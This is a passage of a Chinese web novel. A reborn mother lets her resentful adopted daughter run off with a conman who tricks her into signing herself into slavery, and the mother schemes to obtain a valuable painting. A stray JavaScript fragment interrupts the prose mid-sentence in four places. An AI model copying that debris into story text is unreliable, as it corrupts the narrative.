《重生后她只能做外室?》 1. 第一章 秦娘睁开眼睛。 稻草带着泥土的腥气瞬间窜入鼻间。 她不敢置信的看着面前一双女儿。 “凭什么!”大女儿秦馠死死抓住她的衣袖,那目光仿佛要把人吞了去,“凭什么小妹能去学琴艺,我只能当个绣娘!” 她记得自己之前还躺在那座宅子里,得了病快不行了,没想到再一睁眼,竟然回到了送两个女儿去学艺的这天。 这熟悉的茅草屋,她住了二十八年。 屋内一角摆设了一张土床,还是她幼年时阿爹亲手垒起的。 正中间放了张桌子,桌腿摇摇晃晃,凳子只有一个,所以吃饭时只能在外边搬两块石头给女儿们坐。 墙上的土都发黑了,屋顶的茅草下雨天滴滴答答的,时间久了便把泥土地砸出了一些小坑。 大女儿秦馠此刻便跪坐在坑坑洼洼的地上,身上灰扑扑的袄子全是补丁,不复上一世过上好生活后那富足的模样。 秦娘有两个女儿,都是捡的。 那年她正值及笄之年,可城中大旱,没等她出嫁便饿死了父母亲家。 孤身一人的她捡到了同样失去了亲人的大女儿,秦馠。当时秦馠才三岁,全身上下饿的皮包骨头,整个小脸都凹陷了进去,只留一双大眼凸了出来,眨巴眨巴,让人不免生出怜悯。 于是她便把秦馠带到了自己家,这个破茅草屋里,悉心教养,却没想到教出个白眼狼。 还记得她临死前,腹中积水,连吐口气都只有出没有进,大女儿却撤了婢女,数日没给她进食了。 只听得她在耳边对自己说:“娘,我最后唤你一声娘,你也终于尝到自作自受的滋味了?” 秦娘垂死病中猛然惊醒,若回光返照般撑着一口气问:“馠儿,你终于来了……娘可都是为你好啊!” “为我好?”秦馠自嘲的笑,“如今你瞧瞧我,哪点好了?你坏了我的姻缘,让我至今未嫁!你知道我多少个晚上都不得睡觉,熬的眼睛都红了,手都被针扎的流血,只为赶出客人要的绣品,赚银子给你养老!” “如今你开着城中最大的绣坊……”秦娘心中一阵苦涩,“以后再也不用为生活操劳,娘的苦心你难道现在还看不明白?” “我瞧着我那妹子,才是真正的不用操劳吧?”秦馠愤愤不平道,“你偏心的老二,整日里只把自己收拾漂亮,再随便弹一曲,便轻轻松松赚上花不完的银子!” “还有我那沈郎……”秦馠低吟,愤恨的脸上扯出一丝柔色,“我们两情相悦,若不是你硬生生将他逼走,我早就是沈家夫人,坐拥万贯家财,哪还用整日整夜没命的绣!” “那个骗子……”那男子秦娘私底下查过,根本就是个冒充的! “我不许你如此污蔑他!”提到曾经的恋人,秦馠激动,“我收到消息已月余,沈郎他为了考取功名回来娶我,客死他乡……你怎么、怎么能如此心狠!” ……难怪她撤了婢女,扔自己一个人躺着不管不问,全是为了她那个沈郎。 “我虽是你捡来的,可你对我的所作所为老天都看不下去,让你早早得了绝症。”秦馠俯下身,一双红眼睛死死盯着她,仿佛索命鬼,“如今你放心走吧。看在你养我一场,我会告知小妹,让她来给你收尸!” 秦娘眼角不受控制的流下最后一滴泪。 她为什么会得绝症? 为了养这两个女儿,她没心思嫁人,整日起早贪黑,早上去西市送菜,晌午在后厨洗碗,衣裳洗了一家又一家,甚至深夜都回不了家。 郎中说她这病就是长年累月得不到休息,累的。 好不容易把女儿养大,帮她们各自立住脚,没想到却落得这个下场。 她已陷入一片黑暗,徒留后悔在心间盘旋:若重来,她绝不会再管她任何事! * “娘若不允,我自请拜师!”秦馠掷地有声,“自此之后我的事,就再不劳娘费心!” 秦娘回过神来,不管这是梦,还是真的有上辈子,此刻她只觉得悲从心中来。 她把目光投向小女儿。 小女儿左娇娇,没跟她的姓,只因捡到时她已记得自己姓甚名谁。 那是秦馠十二岁那年的上元节,秦娘带着她去城里游玩,遇到了被拐卖至此的左娇娇,那时她约摸有四五岁,能清晰说出自己的名字,可却说不出自己家住何处。 也是她运气好,人贩遇到仇家被抓走,留下娇娇在城里到处流浪。 秦娘本想先把她带回家,等她家人来找她,可这一等,就是十几年。 左娇娇生的白皙,五官明媚,脖子上还戴着一枚玉,一瞧就是好人家的女儿。 秦娘当初想到大女儿秦馠长相算不上出众,资质又平庸,便想给她学个正经手艺傍身。 而娇娇若不被家人找到,学个琴棋书画,也可靠相貌寻个好人家。 现在想来,她明明就是偏心大 () { $(''.inform'').remove(); $(''#content'').append('' 女儿! 在她心里,娇娇始终有被家里寻回的可能,而秦馠却只能和自己相依为命,所以打从心底她总希望秦馠有能力自立门户,不用以色侍人! 回想起娇娇上辈子,虽然后来被侯府寻回,却也买了座宅子给自己住。 秦娘一时觉得自己对二女儿一直有些忽略。 “娘,我想学绣工,我愿意当绣娘。”左娇娇柔柔的开口。 声音虽柔,却很坚定。 她虽饿的面黄肌瘦,举手投足间却落落大方,放在大街上一站,丝毫不像农户家能养出的女儿。 “好啊,娇娇。”秦馠喜上眉梢,“你一定行的,姐姐知道你将来会开一座大绣坊,赚很多很多钱呢!” 秦娘的眼皮狠狠跳了一下。 难道秦馠也是重活一世? 想起秦馠今日种种,她看自己的眼神,恨不得把自己生吞活剥了。 秦娘恍然! 明明上一世虽然她不高兴,却也由着自己安排。 重来一世,她是带着上辈子的恨意来的! 想到她最后的决绝,秦娘下定决心。 “你之前说的话可当真?”她认真的看着面前这个不减怒意的女儿,“自去请师,之后再不用我为你打算?” “那是自然。”秦馠胸有成竹,“你们就等着看,将来我的一曲会名动江城,无数人打赏只为听我一曲,见我一面!” 娇娇高兴的拍起手:“太好了,那岂不是我们有花不完的银子,娘再也不用天天出去做工了!” 天真的她兴高采烈,只有秦娘感受到了一阵寒意,秦馠已经不再开口唤她“娘”了。 她红着眼睛,逼迫自己将所有悲愤咽了下去:“好,我允了!” 秦馠愣了一下,疑惑的看着眼前人,似乎有些陌生。 她记得上一世秦娘好说歹说要她去绣坊,还私下里给自己报了名。 不过…… 望着秦娘脸上无意识流露出的不甘和悲愤,她很快压下心头不适的陌生感,也许是自己的未卜先知,也许是自己的坚持,才改变了这件事! 她眉飞色舞的想着未来。 将来她会靠出众的琴艺,被侯府请去,再因那块玉被认回左家。 她要冒充左娇娇,去享受荣华富贵! 同样她想到了一个人——沈愚。 前世两人的姻缘被秦娘硬生生拆散,这一世,她决不会轻易再被摆布! 2. 第二章 天倒是晴朗。 秦娘自打决定放手,心里忽然轻松了不少,连身上都觉畅快许多。 也许上辈子操心太多实属不该。 她带娇娇去了绣坊。 江城没什么像样的刺绣工坊,只有黄氏布庄下的一个小绣坊。 这绣坊开在城中偏西的位置,隔开了西市的热闹,也算安静。 虽小,却引着周围十里八乡的女儿家来学技艺,将来好混口饭吃。 当年秦娘也没想到秦馠在此道上颇有天赋,再加上常督促她勤加练习,后来竟学有所成,能开起江城第一绣坊。 可惜这一世秦馠选了琴。 她摇摇头,看向娇娇那双手。 手指纤长,虽跟着她过了这么些年苦日子,当年白皙的皮肤变得黑黄,可依旧掩饰不住那股娇气。 就连绣坊的绣娘,看了也直摇头:“骨节全被肉包裹了去,一看就不是做这一行的。” 说罢她伸出自己的手给两人看,那骨节分明突出,灵巧有劲,倒是和秦馠的手相差无几。 想起上一世娇娇弹琵琶也是出神入化,秦娘忙道:“不如先试一试?我这姑娘灵巧的紧。” 娇娇也点头:“我愿意努力!” 绣娘想了想,转身从绣榻上拿了一块绢子递了过来:“这样吧,你把这个字先拿回去试一下,不管你怎么绣,能绣的下来,我就收你。” 娇娇接过来,只见上边是一个很大的“山”。 “这个字啊,只用绣横和竖,算是简单的。”绣娘解释。 “山?”娇娇不自觉的念了出来,“不算太难,谢过师傅。” “你识字?”绣娘挑眉,看向秦娘,“你这女儿,去过学堂?” 秦娘知道娇娇被拐前就已开蒙,识得几个字,可惜自己没钱供她再多学几年,一时惭愧:“是学过一点。” “我还会执笔,作些简单的画。”娇娇忙道。 绣娘吃了一惊,这可不多见,她拉过秦娘悄声说:“做绣活这是苦活,一辈子受累,可这描画却和绣活分不开干系。我们这里这些绣娘,哪个识字哪个会画?不都是照着绣花谱上的绣,若你这闺女真会描画,这绣坊可收下她,将来她作些绣谱,比做绣活强。” 秦娘猛地想到,上一世秦馠的绣坊开支,花钱最多的一项就是绣谱,甚至有些需要赶时兴的,还要高价到京城收。 既然绣娘看娇娇不擅此道,何不因材施教。 “娇娇,你觉得如何?”有了上一世那糟心的做娘经历,这回她还是问了一下女儿。 娇娇喜笑颜开:“娘总不会害我,全听娘的安排。” 这小女儿,总是如此乖巧。 秦娘觉得这是她醒来后听到的最舒心的话了。 另一边秦馠自己去找了城里最有名的琴师。 有了上一世的记忆,琴师的考核自然难不倒她。 然而秦娘和娇娇等到深夜,才等来一辆马车停在草屋前。 马车半新不旧,轮子上的朱漆有些已掉了一块,只是车上的门帘是细布织的,带纹路和颜色,像是刚挂上的。 “大姐,你这是去哪儿了?琴师收下你了吗?”娇娇见秦馠从马车里钻出来,不禁焦急。 可她又瞧见大姐突然间像变了个人一样,一时呆住。 这哪里还是平日的秦馠,褪去那一身磨人皮肤的布衣后,这轻飘飘的裙子穿在身上,半露着锁骨,竟显得精致了几分。 头发疏了她前世最爱的发髻,整个人容光焕发,和上一世神态身形差别无几。 她回来了! 只见她跳下马车,目光停留在秦娘身上。 “怎么,你盼着我落选,之后回家求你让我当绣娘?”她看着两人震惊的神情,目露得意,“可惜,让娘失望了。我以后就是琴师弟子了。” 想起之前秦馠对自己的种种误解,重来一世,秦娘想若是她早日把自己的打算都告知女儿,会不会两人之间能化干戈为玉帛。 于是,她开口道:“馠儿,娘让你去学绣活,是想将来你能安稳,远的不提,你可知近年流落到江城的琴师商徵,当年名头响彻京城,无数达官显贵为他一掷千金,如此人物也免不了沦为风月场上的常客,而今更是做了楚馆那些伶人的乐工。娘是不想你将来,也沦落至此啊!” “娘也不用为你的偏心找这么多理由!”秦馠讥笑,“如此说来,你让娇娇去学琴,就不怕她沦落至此?” “娇娇不一样……” “不一样?你是想说,她比我命好?她还没沦落到去做伎,就能被她那出身富贵的亲人找到?” 一种无力感在秦娘心间蔓延。 只有娇娇在天真的问:“长姐,你在胡乱说什么?” “是,没错。”秦娘深吸了一口气,将自己所思所想和盘托出,“娇娇迟早会被家人找到,即使没被找到,我也打算帮她寻回亲人!而你不同,馠儿,你没了亲人,我们相依为命……” “不用了!”秦馠不耐烦的打断她,指向身后马车,“打从今儿起,我和你再无干系!” 秦娘顺着她 () { $(''.inform'').remove(); $(''#content'').append('' 的目光而去,赫然发现,这车檐上挂了个牌子,上边清晰刻着“沈”字。 她去找了沈愚! 秦娘早该想到!在她心中这么重要的人,她一回来应该就迫不及待的去找他! 秦馠看着两人目瞪口呆的样子,得意道:“娘该不会说,这沈家马车是假的吧?是专门用来骗我的吧?我告诉你,今日我亲自进了沈府!亲自见了沈郎!沈家大郎!沈愚!如今我就住在沈府,不会再回来了!” “秦馠!”秦娘急了,直呼其名,“你想清楚!你以什么名义进他的府?他的妾室?他的奴婢?若他没骗你,为何不敢来见我,明媒正娶!” “你怎么就知道他不会明媒正娶?”秦馠缓缓抬眼,“好啊,你等着,过不了多久我就会成为沈夫人。” “沈夫人?”秦娘怒极反笑。 “我知道你想说什么。”秦馠打断她,“你想说,就算他是沈家大郎,我这种小门小户也不配做的夫人!呵,这天底下竟然有娘不想着女儿好的!我差点忘了,你本就不是我的亲娘!” 秦娘压着心里的怒火,再次提醒道:“你想好了,若你今天跟他走,就等同于私奔!永远也不能做他的正室!” “那你就睁大你的眼睛等着看!”上一世沈郎为她客死他乡,她对他信心十足,“同样,你也别想能最后再在我身上捞一笔。你我本就不是亲生血脉,别妄想着沈家会送来彩礼!” 说罢她转身上了马车。 娇娇拉住她的衣角,大哭了起来:“长姐,你在说什么,谁是沈郎,你要去哪儿?娘,你就不拦着她?” 秦馠从车里扔出几贯钱,居高临下的望着秦娘:“看在你这些年供我吃穿的份上,如果你们有难处,可还来找我,我不会像你一样,为了达成你心中的愿景,不顾别人的生死……”害死了她的沈郎! 许是觉得自己是唯一的重生者,秦馠并未把话说透。 秦娘却像是被人从头顶浇了一盆冷水,从内到外全都冷透了。 她一把拉过娇娇,狠狠逼自己闭上眼睛:“让她走!” 她原以为自己长了一张嘴,还幻想把一切说清楚两人就能冰释前嫌。 可没想到秦馠竟对那个骗子深信不疑! 上一世她并不知道两人是如何相识的,现如今她也不明白秦馠是如何在短短一天内,就和沈愚相认的。 而上一世她用粗暴的方法,直接赶走了沈愚,以为断了秦馠的念想,以为就此作罢,可最后…… 这一世,她倒要看看,两人的结局会不会好! 3. 第三章 一切要从长计议。 哄睡了娇娇,秦娘终于有了空隙。 她不舍得点灯,最后再看了眼昏黄的灯光下,娇娇那挂着泪痕的小脸,利落的灭了灯。 少了一个女儿要养,至少不用起早贪黑的做工了。 秦娘将上一世的记忆想了个遍。 为了让娇娇少受些苦,她不能等五年后侯府的人来找,最好以最快的速度攒些钱,带娇娇去京城寻亲。 很快她便想起江城这几日要发生的一件趣事。 一陈姓贵人路过此地,看上一幅画,据传是什么名家谢公之遗作。 然而这画其实是幅赝品,在贵人以高价买入后,市场上又出现了几幅一模一样的画。 原来是骗子团伙内部分赃不均,被欺负的人气不过,又不敢背着组织找贵人揭穿,于是找了临摹画师又画了几幅,投入街市。 而临摹的画师正是见过此画真迹之人,发现有利可图,便以低价购入真迹,后交由贵人,获得一大笔钱财。 江城是个小城,此事很快传的沸沸扬扬,成为百姓们平淡日子茶余饭后的趣谈。 秦娘也是在酒馆做工时,听说书人仔仔细细的讲了数遍,所以印象深刻。 她记得那幅真迹,存于城郊一个家道中落的秀才家。 第二日一大早,秦娘收拾妥当,将秦馠的冬衣包了起来,带着娇娇去了当铺,将冬衣当了十贯钱,送娇娇入了绣坊。 绣坊里的绣娘提醒她:“按规矩,我们这里不能收留贱籍,秦娘子需将你家的户籍文书送来给我们管事的过目,这才算正式收下你家姑娘。” 秦娘一拍额头,她竟把这件事给忘了。 有了上一世的经验,她很快办好了两份文书证明,一份给娇娇用,另一份则准备给秦馠送去。 沈宅在江城是大户,秦娘常年窜迹在城中,熟门熟路到了门前。 “请问宅中可有一位秦姑娘?”她敲开大门,问门房。 不出所料,门房摇头:“并无。” “那沈愚沈公子可在?”秦娘又问。 门房这次终于拿正眼打量了她一番:“我家大公子自小就在京城,多少年没回来过了,你识得大公子?” 果然,不管多少世,都改变不了那个沈愚是骗子! “是我认错人了,不知府上可有一位年龄相仿的公子?” 门房挠了挠头:“公子倒没有,不过家生的奴仆是有几个年龄相仿的。” “那昨晚上,有人可带了一个姑娘入府?还用了沈宅马车。” “你说沈鱼啊!”门房马上回想起来,“沈鱼是宅中管事儿子,前两年他爹娘死了,沈鱼就留在宅里做点事,混口饭吃。你找他有事?” 秦娘便将文书交给门房:“这是那姑娘的东西,劳烦您转交。” 门房接过文书,秦娘松了一口气,觉得压在身上的担子轻松了不少,转身三步并两步跳下台阶。 她还有大事要办。 “哎——”门房冲着她的背影喊道,“可那姑娘并未住在府里……” 街上人来人往,湮没了他的声音,只留下街角背影,很快消失不见。 “算了,交给沈鱼那猢狲也是一样。”他一边自言自语一边关上了大门。 这边刚给了文书,那边便传来秦馠要分户的消息。 邻家婶子找了大半个城,才把秦娘给揪住。 “娘子,你快回去看看吧!”她叉腰俯身,上气不接下气,“你家大姑娘带了个外男,嚷着要分家呢!” 外男?除了沈鱼还能有谁?上一世他就撺掇秦馠分家。 不过如今的情形已大不相同。 当初沈鱼是在秦馠在绣坊学有所成后才出现的,那时家里虽不富裕,却也有了一定的积蓄。 而今家里当了冬衣赎春衣,当了春衣赎秋衣,根本没什么好惦记的。 秦娘刚到院外,一道熟悉的声音便传入耳中:“这破屋烂瓦的!秦姑娘,你娘到底有没有积蓄?” “大概……是没有的。”秦馠见他急了,忙道,“沈郎,我们不用靠她!明日我就去学艺,很快我就能赚回大笔银子!” 沈鱼也不是好糊弄的,很快冷了脸:“你知不知道那琴馆的琵琶女弹了多久,才有今日?十年!整整十年!你想让我等你十年?” “沈郎你信我!” 沈鱼转身就要抛下她走,被她拦下,“一年,只用一年,一年后的公开考校会在城中举办,我知道曲目!从明天开始我只练那一首!” 这话秦娘听了都嗤之以鼻。 进了琴馆要先学五音,再练指法,就算每日磨的手上起泡流血,也可不能在短短一年之内练成那种难度的曲子。 沈鱼更是不信,甚至开始疑惑这女子接近自己是否有别的目的。 前两日秦馠突然找上他,说仰慕他许久,要跟了自己,他还窃喜,以为这是条待宰的鱼。 “你我两家如此门不当户不对,就算我想抬你做个小妾,我沈家也绝不会要你这样的农户进门!” 眼看着他要抛下自己,秦馠一急,跺脚道:“这块地!房子下这块地可是私产!” 她还记得,自己开绣坊时钱差了一些,是秦娘给她送了银票,说把这块地卖了得的财。 可她却不知道,那是秦娘日夜辛苦省吃俭用攒下来的。 这块地根本不能卖! 果然,此话一出沈鱼便停下脚步:“那还等什么,快问你娘要地契!你若拿到卖些银钱,也算有了嫁妆,我好回家跟长辈商量。” 秦娘毫不犹豫推开院子篱笆门。 “秦馠,你真是娘的好女儿!”她望着她辛苦拉扯大的女儿,“你竟打起了这块地的主意!” 秦馠闻言吓了一跳,往沈鱼身后缩了缩。 上一世秦娘和沈鱼只见过几面,时间久了脑海里只留下了个模糊的影子。 此时这面容才清晰展现在她眼前。 真是一副好皮囊! 他身长八尺,面部轮廓端庄,肤色像女子一样白皙,眉毛细长,一双桃花眼中含着雾水,上唇薄如叶片,下唇却厚如扁舟。 也难怪会迷了馠儿两世! 可她早听相面的人说过,上唇薄是薄情,下唇厚是欲重。 沈鱼抬起手中的扇子随意扇了扇,倒显得他甚是无辜。 他将身后的秦馠推了出来:“快,你娘回来了。” 秦馠咽了下口水,手在裙摆上擦了擦,有些心虚:“这算我借你的!我会赚很多银子,到时候连本带利还给你!” “你把地拿走抵了银钱,让我和娇娇住哪儿?”秦娘心如死灰。 “只是抵了,你们还住这儿。” “你怎如此天真?”秦娘不敢置信的问,“你会不知道那些是什么人?只要你拿了钱,他们就会把我们赶出去,以最快的速度卖了去,先回了本再收你利钱!” 秦馠面上露出一丝犹豫。 然而沈鱼一摆手便假装要一走了之:“算了,在下还有要事,秦姑娘后会有期。” “沈郎,相信我!”秦馠将那一丝犹豫压了下去,面露狠色,转身往屋里快步走去“这,是你欠我的!” 她在这儿生活了十多年,自然知道东西放在哪儿。 屋内空空荡荡的,连一个木箱都没有。 不管是挣来的铜板,还是一些稍值钱的物件,都被秦娘压在了床褥下。 秦馠伸手去摸,很快摸到了一张平整的纸。 可惜她不太识字,只见得上边隐约是个“地”字。 她小心翼翼的将纸张折了起来,塞入怀中,满目惊喜:“沈郎,我拿到了!” 秦娘冷眼看着她一路小跑出来。 “你放心。”秦馠倒是大方了一回,“我说到做到,明年这个时候我连本带利还你!” 院外看热闹的人渐渐多了起来。 乡民们摇着头,自发痛斥起了这个他们从小看到大的孩子。 “我早说过,捡来 () { $(''.inform'').remove(); $(''#content'').append('' 的孩子养不熟!” “这不是恩将仇报吗?为啥?就为了个男子?” “还要地,不知天高地厚!” “让他们拿去卖,看他们能出得了手!” 污言秽语纷纷袭来。 秦馠往地上啐了一口:“你们懂什么!” 说罢拿袖子遮了脸,拉着沈鱼逃走了。 卖地? 秦娘嘴角露出一丝不易察觉的笑。 恐怕他们只要敢出手,就会被官府盯上。 这些地早不是庄稼人的私产了,包括乡里家家户户住的草屋。 莫说是这个离江城最近的乡郊,就连几十里外的大片村庄,早被城里大户们收了个干净。 连年徭役赋税,庄稼人哪能交得起?只得将这些地全部并入不用缴税的大户,以求得一丝苟延残喘。 秦娘想起上一世自己善意的谎言,一时竟不知自己是对是错。 —————————————————————————————————————————————————————— 翌日,秦娘上工,顺带送娇娇到绣坊,出来路口便见到了一出闹剧。 江城真小,到哪儿都能碰到熟人! 此刻秦馠正不可置信的盯着路口艺馆告示,来来回回找遍了角落也没见到自己名字。 不可能! “你们一定是把我漏了!”她急道,“昨日考核,明明师傅说了我是第一!” “这位姑娘,稍安勿躁。”管事的从里边出来,“这位是……是秦馠秦姑娘吧?” 秦馠点头,激动道:“是,你昨日见过我的!我明明得了第一,为什么?是有人使了银钱,换了我的?” 管事的忙要上前捂她的嘴:“姑娘慎言!” 他抬头瞧了瞧看热闹的人群,本想请秦馠进去私下说清楚,这下却不得不公开解释。 “我们有规定,这普通人家学艺,得是良家女,若是贱籍乐户,到城中七乐坊便可。” “这是何意?”秦馠瞪大了眼睛,“我明明是良家!官府有我的户籍!” “这……我们明明去查过了,你是……你是贱籍。”管事的擦了擦额头的汗,小心翼翼,“要不然秦姑娘自己上衙门瞧一眼?” 秦馠无助,一时心头慌乱,四下里张望,却在人群中发现了一张熟悉的面容。 她眼前一亮:“是你!是你对不对?” 秦娘被她从人群中揪了出来。 “娘,你好狠的心!”秦馠当着众人面掩面哭泣,“竟把我发卖成奴婢!” 此言一出,众人一片哗然。 这年头虽然卖儿卖女的不少,可被摆到明面上,大家都得来啐一口。 “这还是人吗,为了一点蝇头小利,天天净想着把女儿卖了!” “嘿,这还算好的,有的直接卖到秦楼楚馆,那算完了!” 周围议论声越来越大。 秦娘提高嗓门:“不管你信不信,我没发卖你。” 想起昨日她将户籍证明文书给了沈宅,一种不好的预感萌生在心头。 “不是你还能有谁?”秦馠自然不信,她脸上挂着泪,眼里却露出凶光,“你想让我事事都听你的,如不了你的意就要把人推入火坑,我一个好好的良家子,你却要我一生为奴为婢,这就是你说的为我好?” “先别往我身上推!”秦娘皱眉,“昨日绣坊要娇娇的户籍文书证明,我已将你的送至沈宅,要门房转交于你!我们现在就去沈宅一问!” 离了感情,她清醒了不少。 没想到秦馠却一个字都不信她,言之凿凿道:“谁知道你有没有和门房勾结来骗我?你为了让我一事无成,看我笑话,什么事做不出来?” “去衙门!”秦娘也想弄清楚事情缘由,“这种变更官府一定会有记录。” 秦馠拉住她的衣袖,仿佛害怕下一刻秦娘能溜走似的。 “好,去就去!到时看你还如何推脱!” 4. 第四章 秦馠盯着摆在案几上的卖身契,久久不能言语。 只因这在官府备案的卖身契上,写了“沈”字,她再不识字,也认得这个心爱之人的姓氏。 她抬头瞧了瞧秦娘,红了眼。 “你得了多少?”她问。 秦娘不明:“什么?” “你,把我卖给沈家为奴,得了多少银钱!”她一字一句的问。 秦娘大惊。 她也没想到沈鱼竟做出这畜生之事,给秦馠签了卖身契。 于是她冷冷道:“你好好想想,契约文书都要本人按手印方可作数,我何时逼你签过这种东西?” 秦馠硬撑着压下自己心中那个可怕的念头。 她不想也不愿承认,她的沈郎被秦娘说中! “说不准是你趁我睡觉按的手印!”她嘴硬道。 秦娘被这说法气笑:“你几天没在家睡觉了?难不成我偷溜进沈宅,不被一人发现,趁你和你的沈郎睡着时,神不知鬼不觉拿红印泥按了你的手印?这般揣度,不如好好想想你的沈郎何时哄骗你签过什么文书!” “不,不可能……” 秦馠的声越来越小,她猛然想起,前夜沈鱼把她接进那所小院时,说是要把院落放在她名下,给了张房契让她按了个手印…… 难不成……那不是房契? 她脸色惨白。 “怎么,想清楚了?”秦娘道,“你是该回去问问你那个沈郎,好好看清楚他是什么人!” 没等秦娘说完,秦馠已一溜烟的跑了出去。 她一路飞奔,脑海里满是上一世的种种。 难道她真的错了吗?那沈愚真如秦娘所说,是个骗子? 转眼到了巷子。 映入眼帘的是在小巷尽头的小院。 这院落就在沈宅后门的小巷子里,说是给秦馠当未过门的住所。 此刻大门正开着,门前种的两颗芭蕉在微风的徐拂中摇摆。 “沈愚!”秦馠几步跨进院里,眼光落在了躺椅上。 只见沈愚正悠闲的躺着,翘着二郎腿,拿一壶酒往嘴里灌。 秦馠走过去一把夺了小酒壶,“啪”的一声,白瓷四分五裂。 “你作甚!”沈鱼跳了起来,抓住她的前襟就要拿拳头砸上去。 直到看清楚来人后,才晃了晃他那晕头转向的脑袋。 “我问你,把我卖给沈家做奴,是不是你做的!”秦馠声音颤抖。 她还抱有一丝幻想。 可马上这份幻想就被沈鱼亲自打碎了,碎的就像地上的玉瓶,四分五裂。 “你、你别生气。”沈鱼有些口齿不清,“反正你都是我的人了,这哪个妾室不是主家的奴婢?” “真的是你……”秦馠的眼里充满绝望。 仿佛被这眼神吓到,沈鱼清醒了几分,忙道:“我这也是为了我们,你的身份想进沈家的门,我家长辈是万万不能答应的,因此我才出此下策。” 秦馠咬着下唇,寒声问:“难道做妾也不成?我可是良家!就算不跟你,我也可以随便嫁户平民做正室!” “所以啊!”沈鱼道,“你先以我家家奴的身份,给我做个通房,之后就是妾,我不娶妻只要你一个,日子久了家里必得接受现实,让你做我的夫人!” 听他如此说,秦馠的气已消了大半。 若他真不娶妻,和自己一生一世一双人,那何必在此刻如此计较呢? “就算你做不了正室夫人,只要我不娶,家里全是你说了算,这和正室夫人有何区别?”沈鱼见她动摇,忙道。 秦馠收起了伤心,是了,上一世同样是沈家不同意,沈郎为了娶她竟弃了沈家大公子的身份,不远千里上京赶考,最后惨死他乡。 她不该怀疑他的真心! 她突然想起了秦娘口中的商徵。 当初的风流人物,琴艺了得,后沦落为江城的乐工,专门服务于各种伎馆。 入不了琴馆,她就去找乐工商徵拜师! ———————————————————————————————————————————————————— 秦娘低着头,边走边想秦馠的事。 她也万万没想到,这骗子竟然能做出这种畜生之事。 “近月楼来个富商,全城搜寻宝物,谁家有赶紧过去,趁此卖个好价钱。” 路边沽酒的小伙正和人讨论着。 “我家哪有什么宝物,穷的叮当响。”一人笑道。 富商? 秦娘停住了脚步。 这和她记忆里的有些出入,当初来寻宝的听说是个京里来的大贵人,不是什么富商。 不过当务之急,还是要把那幅画买到手。 揣着自己兜里那为数不多的几贯铜钱,她拐进了卖字画的店。 可惜上一世她是个什么都不懂的农户,更是没缘面见那幅“谢公遗作”,望着眼前琳琅满目的画,一时有些摸不着头绪。 店里伙计见此上前:“客人您看中哪一幅了?” 他那一双眼睛透着精光,上下打量着秦娘。 秦娘也不惧:“你们这儿有画师吗?擅长临摹的那种。” 伙计恍然大悟:“临摹?原来您是想……买真品仿画?您这是要送人吧?真是高明。” 为了让人买画,他也是不停给人戴高帽子,边说着边引秦娘往后堂走去。 后堂摆满了刚作好的字画,有的墨迹还没干透,桌子上放不下,连地上都是。 “我家主人就是个会作画的,除了他自己画一些,也不少临摹名家名作。”伙计介绍,“瞧这幅,还有那幅,都是照着前朝几大家所作,保证每一笔是一模一样,分毫不差!” 秦娘今天算是开了眼。 “这种画要多少钱?”她问。 伙计喜笑颜开:“不贵不贵,像这样的没什么瑕疵的赝品啊,只要十贯钱!” 十贯,她着实拿不出来。 若是真迹,估摸着也只多不少。 她笑了笑:“我再到别处逛一逛。” 城郊秀才家,倒是好打听。 琢磨了一番,她决定直接去找。 既然那画师能低价买了画来,想必这秀才缺钱,又不识货。 没想到打听来打听去,传说中的秀才竟然是她的老熟人,同村的叶家。 想必上一世的她太过劳碌,无暇和村里人唠闲话,再加上这叶家早已败落,多数人已记不得他家老头子是个秀才。 叶家老人是个老秀才,儿孙辈却不争气,一个个毫无进取心不说,还自私自利,在小事上不舍得吃一点亏。 不过几个人精里总会有一个憨包,叶家老二就是。 秦娘往他家那破落院子里瞧了瞧,见其他人都没在,只有叶老二在劈柴。 于是她悄悄挪动脚步,叫了声:“叶二哥!” 叶老二都年过四十了,还没说下亲,别人嫌他傻,叶家也没钱去买个媳妇。 所以他一见到秦娘,眼神就亮了。 “秦娘子,你你来了,呵呵。”他傻笑着,也不知道给人让座。 秦娘假装探头探脑的,凑近他道:“叶二哥,你家里人呢?都没在家?” 叶二哥点点头:“今天赶集呢,都去买东西了,对了,秦娘子你咋不去呢?” 秦娘松了一口气:“我来跟你谈桩生意,若成了,你就有钱娶媳妇了。” 叶二哥一听娶媳妇,嘴巴瞬间咧到了耳根,随后又瞧瞧秦娘,不好意思的低头:“娶不娶都成,我看……秦娘子就挺好。” “想什么呢!”秦娘打断他,“我都俩女儿了,你别想了!” 都多少年了,这叶家还不死心,天天想着自己连同一双儿女都嫁入他们家,伺候他们。 她板着个脸:“你看吧,这生意你做不做,我那大女儿已经嫁出去了,你 () { $(''.inform'').remove(); $(''#content'').append('' 再不抓紧时间,再老个几岁可真没得挑了!” 叶二忙点头:“做!做!你说,啥生意?” “你家不是有一幅画吗?”她道,“字画店的伙计与我相熟,说最近他们当家的正在四处收画,价格不菲,还承诺说若我有画拿给他们,给我多一倍的价钱!” 叶二有些犹豫:“画能值多少……” 秦娘摇头:“你别管这些,把画给我,我去卖了,得了钱给你,我只要店里多付给我的那一倍,怎样?” “那……那能有多少?”他瞪大眼睛。 只见秦娘伸出十个手指。 “多少?十钱?这也不够我娶媳妇的。” “最起码十两!”秦娘压低声音。 门口突然传来一个声音:“啥?啥东西十两?” 秦娘扭头一看,不好对付的来了。 只见叶家大婆娘拎着一篮子菜叶冲了进来。 叶二见她身后无人,便问:“大嫂,你咋回来了?俺爹娘呢?” “后边呢!”叶家大娘子拖着她笨重的身子,把菜篮子往地上一丢,便坐在藤椅上喘起气来,“爹年纪大了,路上突然犯病,你大哥三弟他们正在后边抬着呢!” 叶二把斧子一丢匆忙跑了出去。 叶家大娘子摆了摆手,让秦娘过去:“妹子,你刚才和老二在这儿商量啥呢?让我也听听呗。” 秦娘便把卖画的事告诉了她。 “你说啥?俺家那幅破画还能卖钱?”她震惊道。 “那是自然。若不是我之前在店里帮过工,和伙计相熟,他也不会私下里给我多一倍的价格。”秦娘解释。 叶大娘子嘿嘿打趣:“我看啊,是那伙计看上你了吧!要不他为啥多给你,不给别人?” 秦娘低头假装害羞,默认了此事:“嫂子,正好家里人都回来了,你们商量一下。” “商量啥商量,指定得卖!”叶大娘子拍板,“俺公爹这回又犯病了,你瞧着吧,他们急着用钱抓药呢!要不妹子,我现在给你取画,你把钱先给我?” “这……嫂子,我只带了定钱。”她摸摸囊袋,“剩下的得画卖了才能给。” 叶大娘子正准备再说什么,那边叶家兄弟已抬着老头儿到了家门口。 把昏着哼唧唧说不出话来的老秀才安顿好,大家已知道秦娘的来意。 这急用钱的当口上,自然是同意把画卖了。 但又有些信不过秦娘。 